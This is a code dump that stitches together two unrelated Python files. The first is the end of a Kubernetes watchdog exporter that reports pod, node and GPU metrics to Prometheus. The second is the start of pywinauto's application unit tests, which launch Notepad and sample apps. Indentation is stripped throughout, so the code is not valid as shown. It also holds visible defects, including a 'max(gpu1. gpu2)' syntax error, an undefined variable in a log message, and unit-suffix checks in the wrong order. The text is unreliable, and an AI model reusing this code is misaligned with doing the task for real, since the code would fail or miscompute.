labels=["service_name", "name", "namespace", "phase", "host_ip",
"initialized", "pod_scheduled", "ready"])
def gen_pai_job_pod_gauge():
return GaugeMetricFamily("pai_job_pod_count", "count of pai job pod",
labels=["job_name", "name", "phase", "host_ip",
"initialized", "pod_bound", "pod_scheduled", "ready"])
def gen_pai_container_gauge():
return GaugeMetricFamily("pai_container_count", "count of container pod",
labels=["service_name", "pod_name", "name", "namespace", "state",
"host_ip", "ready"])
def gen_pai_node_gauge():
return GaugeMetricFamily("pai_node_count", "count of pai node",
labels=["name", "disk_pressure", "memory_pressure", "out_of_disk", "ready", "unschedulable"])
def gen_k8s_api_gauge():
return GaugeMetricFamily("k8s_api_server_count", "count of k8s api server",
labels=["error", "host_ip"])
def gen_k8s_node_gpu_available():
return GaugeMetricFamily("k8s_node_gpu_available", "gpu available on k8s node",
labels=["host_ip"])
# reserved gpu means gpu not allocated to tasks and the node is being marked as
# unschedulable.
def gen_k8s_node_gpu_reserved():
return GaugeMetricFamily("k8s_node_gpu_reserved", "gpu reserved on k8s node",
labels=["host_ip"])
def gen_k8s_node_gpu_total():
return GaugeMetricFamily("k8s_node_gpu_total", "gpu total on k8s node",
labels=["host_ip"])
##### watchdog will generate above metrics
def walk_json_field_safe(obj, *fields):
""" for example a=[{"a": {"b": 2}}]
walk_json_field_safe(a, 0, "a", "b") will get 2
walk_json_field_safe(a, 0, "not_exist") will get None
"""
try:
for f in fields:
obj = obj[f]
return obj
except:
return None
def convert_to_byte(data):
data = data.lower()
number = float(re.findall(r"[0-9.]+", data)[0])
if "t" in data:
return number * 10 ** 12
elif "g" in data:
return number * 10 ** 9
elif "m" in data:
return number * 10 ** 6
elif "k" in data:
return number * 10 ** 3
elif "ti" in data:
return number * 2 ** 40
elif "gi" in data:
return number * 2 ** 30
elif "mi" in data:
return number * 2 ** 20
elif "ki" in data:
return number * 2 ** 10
else:
return number
class AtomicRef(object):
""" a thread safe way to store and get object, should not modify data get from this ref """
def __init__(self):
self.data = None
self.lock = threading.RLock()
def get_and_set(self, new_data):
data = None
with self.lock:
data, self.data = self.data, new_data
return data
def get(self):
with self.lock:
return self.data
class CustomCollector(object):
def __init__(self, atomic_ref):
self.atomic_ref = atomic_ref
def collect(self):
data = self.atomic_ref.get()
if data is not None:
for datum in data:
yield datum
else:
# https://stackoverflow.com/a/6266586
# yield nothing
return
yield
def catch_exception(fn, msg, default, *args, **kwargs):
""" wrap fn call with try catch, makes watchdog more robust """
try:
return fn(*args, **kwargs)
except Exception as e:
error_counter.labels(type="parse").inc()
logger.exception(msg)
return default
class PodInfo(object):
def __init__(self, name, gpu):
self.name = name
self.gpu = gpu
def __repr__(self):
return "%s: %s" % (self.name, self.gpu)
def parse_pod_item(pod, pai_pod_gauge, pai_container_gauge, pai_job_pod_gauge, pods_info):
""" add metrics to pai_pod_gauge or pai_container_gauge if successfully parse pod.
Because we are parsing json outputed by k8s, its format is subjected to change,
we should test if field exists before accessing it to avoid KeyError """
pod_name = pod["metadata"]["name"]
namespace = walk_json_field_safe(pod, "metadata", "namespace") or "default"
host_ip = walk_json_field_safe(pod, "status", "hostIP") or "unscheduled"
status = pod["status"]
containers = walk_json_field_safe(pod, "spec", "containers")
labels = pod["metadata"].get("labels")
node_name = walk_json_field_safe(pod, "spec", "nodeName")
service_name = walk_json_field_safe(labels, "app")
job_name = walk_json_field_safe(labels, "jobName")
if service_name is None and job_name is None:
logger.info("unknown pod %s", pod_name)
return None
generate_pods_info(pod_name, containers, host_ip, pods_info)
generate_pod_metrics(pai_pod_gauge, pai_job_pod_gauge, service_name,
job_name, pod_name, node_name, host_ip, status, namespace)
# generate pai_containers
if service_name is not None and status.get("containerStatuses") is not None:
container_statuses = status["containerStatuses"]
generate_container_metrics(
pai_container_gauge, service_name, pod_name, container_statuses, namespace, host_ip)
def generate_pod_metrics(pai_pod_gauge, pai_job_pod_gauge, service_name, job_name, pod_name,
node_name, host_ip, status, namespace):
if status.get("phase") is not None:
phase = status["phase"].lower()
else:
phase = "unknown"
initialized = pod_scheduled = ready = "unknown"
conditions = status.get("conditions")
if conditions is not None:
for cond in conditions:
cond_t = cond["type"] # Initialized|Ready|PodScheduled
cond_status = cond["status"].lower()
if cond_t == "Initialized":
initialized = cond_status
elif cond_t == "PodScheduled":
pod_scheduled = cond_status
elif cond_t == "Ready":
ready = cond_status
else:
error_counter.labels(type="unknown_pod_cond").inc()
logger.warning("unexpected condition %s in pod %s", cond_t, pod_name)
# used to judge if sechduler has bound pod to a certain node
pod_bound = "true" if node_name else "false"
if service_name is not None:
pai_pod_gauge.add_metric([service_name, pod_name, namespace, phase, host_ip,
initialized, pod_scheduled, ready], 1)
if job_name is not None:
pai_job_pod_gauge.add_metric([job_name, pod_name, phase, host_ip,
initialized, pod_bound, pod_scheduled, ready], 1)
def generate_pods_info(pod_name, containers, host_ip, pods_info):
used_gpu = 0
if containers is not None:
for container in containers:
req_gpu = int(walk_json_field_safe(container, "resources", "requests",
"nvidia.com/gpu") or 0)
limit_gpu = int(walk_json_field_safe(container, "resources", "limits",
"nvidia.com/gpu") or 0)
used_gpu += max(req_gpu, limit_gpu)
pods_info[host_ip].append(PodInfo(pod_name, used_gpu))
def generate_container_metrics(pai_container_gauge, service_name, pod_name, container_statuses,
namespace, host_ip):
for container_status in container_statuses:
container_name = container_status["name"]
ready = False
if container_status.get("ready") is not None:
ready = container_status["ready"]
container_state = None
if container_status.get("state") is not None:
state = container_status["state"]
if len(state) != 1:
error_counter.labels(type="unexpected_container_state").inc()
logger.error("unexpected state %s in container %s",
json.dumps(state), container_name)
else:
container_state = list(state.keys())[0].lower()
pai_container_gauge.add_metric([service_name, pod_name, container_name,
namespace, container_state, host_ip, str(ready).lower()], 1)
def process_pods_status(pods_object, pai_pod_gauge, pai_container_gauge, pai_job_pod_gauge,
pods_info):
def _map_fn(item):
return catch_exception(parse_pod_item,
"catch exception when parsing pod item",
None,
item,
pai_pod_gauge, pai_container_gauge,
pai_job_pod_gauge, pods_info)
list(map(_map_fn, pods_object["items"]))
def collect_healthz(gauge, histogram, scheme, address, port, url, ca_path, headers):
with histogram.time():
error = "ok"
try:
error = requests.get("{}://{}:{}{}".format(scheme, address, port, url), headers = headers, verify = ca_path).text
except Exception as e:
error_counter.labels(type="healthz").inc()
error = str(e)
logger.exception("requesting %s:%d%s failed", address, port, url)
gauge.add_metric([error, address], 1)
def collect_k8s_component(api_server_scheme, api_server_ip, api_server_port, ca_path, headers):
k8s_gauge = gen_k8s_api_gauge()
collect_healthz(k8s_gauge, api_healthz_histogram,
api_server_scheme, api_server_ip, api_server_port, "/healthz", ca_path, headers)
return [k8s_gauge]
def parse_node_item(node, pai_node_gauge,
node_gpu_avail, node_gpu_total, node_gpu_reserved,
pods_info):
ip = None
addresses = walk_json_field_safe(node, "status", "addresses")
if addresses is not None:
for addr in addresses:
if addr.get("type") == "InternalIP":
ip = addr.get("address")
if ip is None:
ip = node["metadata"]["name"]
disk_pressure = memory_pressure = out_of_disk = ready = unschedulable = "unknown"
if node.get("status") is not None:
status = node["status"]
conditions = walk_json_field_safe(status, "conditions")
if conditions is not None:
for cond in conditions:
cond_t = cond["type"]
node_status = cond["status"].lower()
if cond_t == "DiskPressure":
disk_pressure = node_status
elif cond_t == "MemoryPressure":
memory_pressure = node_status
elif cond_t == "OutOfDisk":
out_of_disk = node_status
elif cond_t == "Ready":
ready = node_status
else:
error_counter.labels(type="unknown_node_cond").inc()
logger.warning("unexpected condition %s in node %s", cond_t, ip)
# https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/node-allocatable.md
# [Allocatable] = [Node Capacity] - [Kube-Reserved] - [System-Reserved] - [Hard-Eviction-Threshold]
total_gpu = 0
allocatable = walk_json_field_safe(status, "allocatable")
if allocatable is not None:
gpu1 = int(walk_json_field_safe(allocatable, "alpha.kubernetes.io/nvidia-gpu") or "0")
gpu2 = int(walk_json_field_safe(allocatable, "nvidia.com/gpu") or "0")
total_gpu = max(gpu1, gpu2)
node_gpu_total.add_metric([ip], total_gpu)
else:
capacity = walk_json_field_safe(status, "capacity")
if capacity is not None:
gpu1 = int(walk_json_field_safe(capacity, "alpha.kubernetes.io/nvidia-gpu") or "0")
gpu2 = int(walk_json_field_safe(capacity, "nvidia.com/gpu") or "0")
total_gpu = max(gpu1. gpu2)
node_gpu_total.add_metric([ip], total_gpu)
# Because k8s api's node api do not record how much resource left for
# allocation, so we have to compute it ourselves.
used_gpu = 0
if pods_info.get(ip) is not None:
for pod in pods_info[ip]:
used_gpu += pod.gpu
# if a node is marked as unschedulable, the available gpu will be 0
# and reserved gpu will be `total - used`
if walk_json_field_safe(node, "spec", "unschedulable") != True:
node_gpu_avail.add_metric([ip], max(0, total_gpu - used_gpu))
node_gpu_reserved.add_metric([ip], 0)
else:
node_gpu_avail.add_metric([ip], 0)
node_gpu_reserved.add_metric([ip], max(0, total_gpu - used_gpu))
else:
logger.warning("unexpected structure of node %s: %s", ip, json.dumps(node))
unschedulable_s = walk_json_field_safe(node, "spec", "unschedulable")
if unschedulable_s is True:
unschedulable = "true"
else:
unschedulable = "false"
pai_node_gauge.add_metric([ip, disk_pressure, memory_pressure, out_of_disk, ready, unschedulable], 1)
def process_nodes_status(nodes_object, pods_info):
pai_node_gauge = gen_pai_node_gauge()
node_gpu_avail = gen_k8s_node_gpu_available()
node_gpu_reserved = gen_k8s_node_gpu_reserved()
node_gpu_total = gen_k8s_node_gpu_total()
def _map_fn(item):
return catch_exception(parse_node_item,
"catch exception when parsing node item",
None,
item,
pai_node_gauge,
node_gpu_avail,
node_gpu_total,
node_gpu_reserved,
pods_info)
list(map(_map_fn, nodes_object["items"]))
return [pai_node_gauge,
node_gpu_avail, node_gpu_total, node_gpu_reserved]
def process_pods(k8s_api_addr, ca_path, headers, pods_info):
list_pods_url = "{}/api/v1/pods".format(k8s_api_addr)
pai_pod_gauge = gen_pai_pod_gauge()
pai_container_gauge = gen_pai_container_gauge()
pai_job_pod_gauge = gen_pai_job_pod_gauge()
try:
pods_object = request_with_histogram(list_pods_url, list_pods_histogram,
ca_path, headers)
process_pods_status(pods_object, pai_pod_gauge, pai_container_gauge, pai_job_pod_gauge,
pods_info)
except Exception as e:
error_counter.labels(type="parse").inc()
logger.exception("failed to process pods from namespace %s", ns)
return [pai_pod_gauge, pai_container_gauge, pai_job_pod_gauge]
def process_nodes(k8s_api_addr, ca_path, headers, pods_info):
list_nodes_url = "{}/api/v1/nodes/".format(k8s_api_addr)
nodes_object = request_with_histogram(list_nodes_url, list_nodes_histogram,
ca_path, headers)
return process_nodes_status(nodes_object, pods_info)
def load_machine_list(configFilePath):
with open(configFilePath, "r") as f:
return yaml.load(f)["hosts"]
def request_with_histogram(url, histogram, ca_path, headers):
with histogram.time():
return requests.get(url, headers = headers, verify = ca_path).json()
def try_remove_old_prom_file(path):
""" try to remove old prom file, since old prom file are exposed by node-exporter,
if we do not remove, node-exporter will still expose old metrics """
if os.path.isfile(path):
try:
os.unlink(path)
except Exception as e:
logger.warning("can not remove old prom file %s", path)
def register_stack_trace_dump():
faulthandler.register(signal.SIGTRAP, all_threads=True, chain=False)
# https://github.com/prometheus/client_python/issues/322#issuecomment-428189291
def burninate_gc_collector():
for callback in gc.callbacks[:]:
if callback.__qualname__.startswith("GCCollector."):
gc.callbacks.remove(callback)
for name, collector in list(prometheus_client.REGISTRY._names_to_collectors.items()):
if name.startswith("python_gc_"):
try:
prometheus_client.REGISTRY.unregister(collector)
except KeyError: # probably gone already
pass
class HealthResource(Resource):
def render_GET(self, request):
request.setHeader("Content-Type", "text/html; charset=utf-8")
return "<html>Ok</html>".encode("utf-8")
def get_apiserver_address():
apiserver_addr = os.environ.get(KUBE_APISERVER_ADDRESS)
if apiserver_addr:
return apiserver_addr
if (not os.environ.get(KUBE_INCLUSTER_HOST) or not os.environ.get(KUBE_INCLUSTER_PORT)):
raise Exception("Counld not get api server address")
return "https://{}:{}".format(os.environ.get(KUBE_INCLUSTER_HOST), os.environ.get(KUBE_INCLUSTER_PORT))
def main(args):
register_stack_trace_dump()
burninate_gc_collector()
log_dir = args.log
try_remove_old_prom_file(log_dir + "/watchdog.prom")
atomic_ref = AtomicRef()
address = get_apiserver_address()
t = threading.Thread(target=loop, name="loop", args=(address, args, atomic_ref))
t.daemon = True
t.start()
REGISTRY.register(CustomCollector(atomic_ref))
root = Resource()
root.putChild(b"metrics", MetricsResource())
root.putChild(b"healthz", HealthResource())
factory = Site(root)
reactor.listenTCP(int(args.port), factory)
reactor.run()
def loop(address, args, atomic_ref):
parse_result = urllib.parse.urlparse(address)
api_server_scheme = parse_result.scheme
api_server_ip = parse_result.hostname
api_server_port = parse_result.port or 80
ca_path = args.ca
bearer_path = args.bearer
if (ca_path is None and bearer_path is not None) or (ca_path is not None and bearer_path is None):
logger.warning("please provide bearer_path and ca_path at the same time or not")
headers = None
if not os.path.isfile(ca_path):
ca_path = None
if not os.path.isfile(bearer_path):
bearer_path = None
if bearer_path is not None:
with open(bearer_path, 'r') as bearer_file:
bearer = bearer_file.read()
headers = {'Authorization': "Bearer {}".format(bearer)}
while True:
result = []
try:
pods_info = collections.defaultdict(lambda : [])
result.extend(process_pods(address, ca_path, headers, pods_info))
result.extend(process_nodes(address, ca_path, headers, pods_info))
result.extend(collect_k8s_component(api_server_scheme, api_server_ip, api_server_port, ca_path, headers))
except Exception as e:
error_counter.labels(type="unknown").inc()
logger.exception("watchdog failed in one iteration")
atomic_ref.get_and_set(result)
time.sleep(float(args.interval))
def get_logging_level():
mapping = {
"DEBUG": logging.DEBUG,
"INFO": logging.INFO,
"WARNING": logging.WARNING
}
result = logging.INFO
if os.environ.get("LOGGING_LEVEL") is not None:
level = os.environ["LOGGING_LEVEL"]
result = mapping.get(level.upper())
if result is None:
sys.stderr.write("unknown logging level " + level + ", default to INFO\n")
result = logging.INFO
return result
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--log", "-l", help="log dir to store log", default="/datastorage/prometheus")
parser.add_argument("--interval", "-i", help="interval between two collection", default="30")
parser.add_argument("--port", "-p", help="port to expose metrics", default="9101")
parser.add_argument("--ca", "-c", help="ca file path")
parser.add_argument("--bearer", "-b", help="bearer token file path")
args = parser.parse_args()
logging.basicConfig(format="%(asctime)s - %(levelname)s - %(filename)s:%(lineno)s - %(message)s",
level=get_logging_level())
main(args)
|
test_application.py | # GUI Application automation and testing library
# Copyright (C) 2006-2018 Mark Mc Mahon and Contributors
# https://github.com/pywinauto/pywinauto/graphs/contributors
# http://pywinauto.readthedocs.io/en/latest/credits.html
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of pywinauto nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#pylint: disable-msg=C0301
#pylint: disable-msg=F0401
#pylint: disable-msg=W0142
"""Tests for application.py"""
import sys
import os
import unittest
import time
#import pprint
#import pdb
import warnings
from threading import Thread
import ctypes
import mock
sys.path.append(".")
from pywinauto import Desktop
from pywinauto import win32defines
from pywinauto import application
from pywinauto.controls import hwndwrapper
from pywinauto.application import Application
from pywinauto.application import WindowSpecification
from pywinauto.application import process_module
from pywinauto.application import process_get_modules
from pywinauto.application import ProcessNotFoundError
from pywinauto.application import AppStartError
from pywinauto.application import AppNotConnected
from pywinauto import findwindows
from pywinauto import findbestmatch
from pywinauto.timings import Timings
from pywinauto.timings import TimeoutError
from pywinauto.timings import WaitUntil
from pywinauto.timings import always_wait_until
from pywinauto.timings import always_wait_until_passes
from pywinauto.timings import timestamp # noqa: E402
from pywinauto.sysinfo import is_x64_Python
from pywinauto.sysinfo import is_x64_OS
from pywinauto.sysinfo import UIA_support
#application.set_timing(1, .01, 1, .01, .05, 0, 0, .1, 0, .01)
# About dialog may take some time to load
# so make sure that we wait for it.
Timings.window_find_timeout = 5
def _notepad_exe():
if is_x64_Python() or not is_x64_OS():
return r"C:\Windows\System32\notepad.exe"
else:
return r"C:\Windows\SysWOW64\notepad.exe"
mfc_samples_folder_32 = mfc_samples_folder = os.path.join(
os.path.dirname(__file__), r"..\..\apps\MFC_samples")
if is_x64_Python():
mfc_samples_folder = os.path.join(mfc_samples_folder, 'x64')
class ApplicationWarningTestCases(unittest.TestCase):
"""Unit tests for warnings in the application.Application class"""
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
# Force Display User and Deprecation warnings every time
# Python 3.3 + nose/unittest tries really hard to suppress them
for warning in (UserWarning, PendingDeprecationWarning):
warnings.simplefilter('always', warning)
if is_x64_Python():
self.sample_exe = os.path.join(mfc_samples_folder,
"CmnCtrl1.exe")
self.sample_exe_inverted_bitness = os.path.join(mfc_samples_folder_32,
"CmnCtrl1.exe")
else:
self.sample_exe = os.path.join(mfc_samples_folder_32, "CmnCtrl1.exe")
self.sample_exe_inverted_bitness = os.path.join(mfc_samples_folder,
"x64",
"CmnCtrl1.exe")
def testStartWarning3264(self):
if not is_x64_OS():
self.defaultTestResult()
return
warnings.filterwarnings('always', category=UserWarning, append=True)
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
app = Application().start(self.sample_exe_inverted_bitness)
app.kill()
assert len(w) >= 1
assert issubclass(w[-1].category, UserWarning)
assert "64-bit" in str(w[-1].message)
def testConnectWarning3264(self):
if not is_x64_OS():
self.defaultTestResult()
return
app = Application().start(self.sample_exe_inverted_bitness)
# Appveyor misteries...
self.assertEqual(app.is_process_running(), True)
with mock.patch("warnings.warn") as mockWarn:
Application().connect(process=app.process)
app.kill()
args, kw = mockWarn.call_args
assert len(args) == 2
assert "64-bit" in args[0]
assert args[1].__name__ == 'UserWarning'
class ApplicationWin32KillTestCases(unittest.TestCase):
"""Unit tests for method Application.kill() with backend='win32'"""
backend = 'win32'
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
self.sample_exe = os.path.join(mfc_samples_folder, 'RowList.exe')
self.app = Application(backend=self.backend).start(self.sample_exe)
self.target_process = self.app.process
def tearDown(self):
self.app.kill(soft=False)
def test_kill_hard(self):
self.assertTrue(self.app.kill(soft=False))
self.assertRaises(ProcessNotFoundError, Application().connect, process=self.target_process)
def test_kill_soft(self):
self.assertTrue(self.app.kill(soft=True))
self.assertRaises(ProcessNotFoundError, Application().connect, process=self.target_process)
def test_already_killed_hard(self):
self.assertTrue(self.app.kill(soft=False))
self.assertRaises(ProcessNotFoundError, Application().connect, process=self.target_process)
self.assertTrue(self.app.kill(soft=False)) # already killed, returned True anyway
def test_already_killed_soft(self):
self.assertTrue(self.app.kill(soft=False))
self.assertRaises(ProcessNotFoundError, Application().connect, process=self.target_process)
self.assertTrue(self.app.kill(soft=True)) # already killed, returned True anyway
def test_kill_soft_with_modal_subdialog(self):
"""Kill the app with modal subdialog to cover win.force_close() call"""
self.app.RowListSampleApplication.menu_select('Help->About RowList...')
if self.backend == 'win32':
self.app.window(title='About RowList').wait('visible')
elif self.backend == 'uia':
self.app.RowListSampleApplication.child_window(title='About RowList').wait('visible')
else:
raise NotImplementedError('test_kill_soft_with_modal_subdialog: ' \
'backend "{}" is not supported'.format(self.backend))
self.assertTrue(self.app.kill(soft=True))
self.assertRaises(ProcessNotFoundError, Application().connect, process=self.target_process)
self.assertTrue(self.app.kill(soft=True)) # already killed, returned True anyway
if UIA_support:
class ApplicationUiaKillTestCases(ApplicationWin32KillTestCases):
"""Unit tests for method Application.kill() with backend='uia'"""
backend = 'uia'
# the same test methods run here
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
class AdminTestCases(ApplicationWarningTestCases):
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
super(AdminTestCases, self).setUp()
cmd = 'powershell -Command "Start-Process {} -Verb RunAs"'.format(self.sample_exe)
self.app = Application().start(cmd, wait_for_idle=False)
def tearDown(self):
"""Close the application after tests"""
self.app.kill()
super(AdminTestCases, self).tearDown()
def test_non_admin_warning(self):
warnings.filterwarnings('always', category=UserWarning, append=True)
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
self.app = Application().connect(title="Common Controls Sample", timeout=20)
assert len(w) >= 1
assert issubclass(w[-1].category, UserWarning)
assert "process has no rights" in str(w[-1].message)
def test_non_admin_click(self):
self.app = Application().connect(title="Common Controls Sample", timeout=20)
with self.assertRaises(RuntimeError):
self.app.CommonControlsSample.OK.click()
with self.assertRaises(RuntimeError):
self.app.CommonControlsSample.OK.click_input()
with self.assertRaises(RuntimeError):
self.app.CommonControlsSample.TVS_HASBUTTON.check()
class NonAdminTestCases(ApplicationWarningTestCases):
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
super(NonAdminTestCases, self).setUp()
self.app = Application().start(self.sample_exe)
def tearDown(self):
"""Close the application after tests"""
self.app.kill()
super(NonAdminTestCases, self).tearDown()
def test_both_non_admin(self):
warnings.filterwarnings('always', category=UserWarning, append=True)
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
self.app = Application().connect(title="Common Controls Sample", timeout=5)
assert len(w) == 0
def test_both_non_admin_click(self):
self.app = Application().connect(title="Common Controls Sample", timeout=5)
self.app.CommonControlsSample.TVS_HASBUTTON.check()
self.assertEqual(self.app.CommonControlsSample.TVS_HASBUTTON.is_checked(), True)
self.app.CommonControlsSample.OK.click()
self.app.CommonControlsSample.wait_not('visible')
class ApplicationTestCases(unittest.TestCase):
"""Unit tests for the application.Application class"""
def setUp(self):
"""Set some data and ensure the application is in the state we want"""
Timings.defaults()
self.prev_warn = warnings.showwarning
def no_warnings(*args, **kwargs): pass
warnings.showwarning = no_warnings
if is_x64_Python() or not is_x64_OS():
self.notepad_subpath = r"system32\notepad.exe"
else:
self.notepad_subpath = r"SysWOW64\notepad.exe"
def tearDown(self):
"""Close the application after tests"""
#self.dlg.SendMessage(win32defines.WM_CLOSE)
warnings.showwarning = self.prev_warn
def test__init__(self):
"""Verify that Application instance is initialized or not"""
self.assertRaises(ValueError, Application, backend='unregistered')
def test_not_connected(self):
"""Verify that it raises when the app is not connected"""
self.assertRaises (AppNotConnected, Application().__getattribute__, 'Hiya')
self.assertRaises (AppNotConnected, Application().__getitem__, 'Hiya')
self.assertRaises (AppNotConnected, Application().window_, title = 'Hiya')
self.assertRaises (AppNotConnected, Application().top_window_,)
def test_start_problem(self):
"""Verify start_ raises on unknown command"""
self.assertRaises (AppStartError, Application().start, 'Hiya')
def test_start(self):
"""test start() works correctly"""
app = Application()
self.assertEqual(app.process, None)
app.start(_notepad_exe())
self.assertNotEqual(app.process, None)
self.assertEqual(app.UntitledNotepad.process_id(), app.process)
notepadpath = os.path.join(os.environ['systemroot'], self.notepad_subpath)
self.assertEqual(str(process_module(app.process)).lower(), str(notepadpath).lower())
app.UntitledNotepad.menu_select("File->Exit")
def testStart_bug01(self):
"""On SourceForge forum AppStartError forgot to include %s for application name"""
app = Application()
self.assertEqual(app.process, None)
application.app_start_timeout = 1
app_name = r"I am not * and Application!/\.exe"
try:
app.start(app_name)
except AppStartError as e:
self.assertEqual(app_name in str(e), True)
# def testset_timing(self):
# """Test that set_timing sets the timing correctly"""
# prev_timing = (
# application.window_find_timeout,
# application.window_retry_interval,
# application.app_start_timeout,
# application.exists_timeout,
# application.exists_retry_interval,
# hwndwrapper.delay_after_click,
# hwndwrapper.delay_after_menuselect,
# hwndwrapper.delay_after_sendkeys_key,
# hwndwrapper.delay_after_button_click,
# hwndwrapper.delay_before_after_close_click,
# )
# set_timing(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
#
# self.assertEqual(
# (
# application.window_find_timeout,
# application.window_retry_interval,
# application.app_start_timeout,
# application.exists_timeout,
# application.exists_retry_interval,
# hwndwrapper.delay_after_click,
# hwndwrapper.delay_after_menuselect,
# hwndwrapper.delay_after_sendkeys_key,
# hwndwrapper.delay_after_button_click,
# hwndwrapper.delay_before_after_close_click,
# ), (1, 2, 3, 4, 5, 6, 7, 8, 9, 10) )
#
# set_timing(*prev_timing)
def test_connect_path(self):
"""Test that connect_() works with a path"""
app1 = Application()
app1.start(_notepad_exe())
app_conn = Application()
app_conn.connect(path=self.notepad_subpath)
self.assertEqual(app1.process, app_conn.process)
app_conn = Application()
if is_x64_Python() or not is_x64_OS():
app_conn.connect(path=r"c:\windows\system32\notepad.exe")
else:
app_conn.connect(path=r"c:\windows\syswow64\notepad.exe")
self.assertEqual(app1.process, app_conn.process)
accessible_modules = process_get_modules()
accessible_process_names = [os.path.basename(name.lower()) for process, name, cmdline in accessible_modules]
self.assertEqual('notepad.exe' in accessible_process_names, True)
app_conn.UntitledNotepad.menu_select('File->Exit')
def test_connect_path_timeout(self):
"""Test that connect_() works with a path with timeout"""
app1 = Application()
def delayed_launch():
time.sleep(2)
app1.start(_notepad_exe())
thread = Thread(target=delayed_launch)
thread.start()
app_conn = Application()
app_conn.connect(path=_notepad_exe(), timeout=3)
self.assertEqual(app1.process, app_conn.process)
accessible_modules = process_get_modules()
accessible_process_names = [os.path.basename(name.lower()) for process, name, cmdline in accessible_modules]
self.assertEqual('notepad.exe' in accessible_process_names, True)
app1.UntitledNotepad.menu_select('File->Exit')
def test_connect_path_timeout_problem(self):
"""Test that connect_() raise error when no process start"""
app1 = Application()
def delayed_launch():
time.sleep(1)
app1.start(_notepad_exe())
thread = Thread(target=delayed_launch)
thread.start()
self.assertRaises(ProcessNotFoundError, Application().connect, path=_notepad_exe(), timeout=0.5)
time.sleep(0.7)
app1.UntitledNotepad.menu_select('File->Exit')
def test_connect_process_timeout_failed(self):
"""Test that connect_(process=...) raise error when set timeout"""
app1 = Application()
app1.start(_notepad_exe())
self.assertRaises(ProcessNotFoundError, Application().connect, process=0, timeout=0.5)
app1.UntitledNotepad.menu_select('File->Exit')
# def test_Connect(self):
# """Test that connect_() works with a path"""
# app1 = Application()
# app1.start_("notepad.exe")
#
# app_conn = Application()
# app_conn.connect_(path = r"system32\notepad.exe")
# self.assertEqual(app1.process, app_conn.process)
#
# app_conn = Application()
# app_conn.connect_(path = r"c:\windows\system32\notepad.exe")
# self.assertEqual(app1.process, app_conn.process)
#
# app_conn.UntitledNotepad.menu_select('File->Exit')
def test_connect_process(self):
"""Test that connect_() works with a process"""
app1 = Application()
app1.start(_notepad_exe())
app_conn = Application()
app_conn.connect(process=app1.process)
self.assertEqual(app1.process, app_conn.process)
app_conn.UntitledNotepad.menu_select('File->Exit')
def test_connect_handle(self):
"""Test that connect_() works with a handle"""
app1 = Application()
app1.start(_notepad_exe())
handle = app1.UntitledNotepad.handle
app_conn = Application()
app_conn.connect(handle=handle)
self.assertEqual(app1.process, app_conn.process)
app_conn.UntitledNotepad.menu_select('File->Exit')
def test_connect_windowspec(self):
"""Test that connect_() works with a windowspec"""
app1 = Application()
app1.start(_notepad_exe())
#unused var: handle = app1.UntitledNotepad.handle
app_conn = Application()
try:
app_conn.connect(title = "Untitled - Notepad")
except findwindows.WindowAmbiguousError:
wins = findwindows.find_elements(active_only = True, title = "Untitled - Notepad")
app_conn.connect(handle = wins[0].handle)
except findwindows.ElementNotFoundError:
WaitUntil(30, 0.5, lambda: len(findwindows.find_elements(active_only = True, title = "Untitled - Notepad")) > 0)
wins = findwindows.find_elements(active_only = True, title = "Untitled - Notepad")
app_conn.connect(handle = wins[0].handle)
self.assertEqual(app1.process, app_conn.process)
app_conn.UntitledNotepad.menu_select('File->Exit')
def test_connect_raises(self):
"""Test that connect_() raises with invalid input"""
# try an argument that does not exist
self.assertRaises (
TypeError,
Application().connect, **{'not_arg': 23})
self.assertRaises (
RuntimeError,
Application().connect)
# try to pass an invalid process
self.assertRaises (
ProcessNotFoundError,
Application().connect, **{'process': 0})
# try to pass an invalid handle
self.assertRaises(
RuntimeError,
Application().connect, **{'handle' : 0})
# try to pass an invalid path
self.assertRaises(
ProcessNotFoundError,
Application().connect, **{'path': "no app here", 'timeout': 0.0})
def test_top_window(self):
"""Test that top_window_() works correctly"""
Timings.window_find_timeout = 5
app = Application()
self.assertRaises(AppNotConnected, app.top_window_)
app.start(_notepad_exe())
self.assertEqual(app.UntitledNotepad.handle, app.top_window_().handle)
app.UntitledNotepad.menu_select("Help->About Notepad")
self.assertEqual(app.AboutNotepad.handle, app.top_window_().handle)
app.AboutNotepad.Ok.Click()
app.UntitledNotepad.menu_select("File->Exit")
app.UntitledNotepad.wait_not('exists')
self.assertRaises(RuntimeError, app.top_window_)
def test_active_window(self):
"""Test that active_() works correctly"""
app = Application()
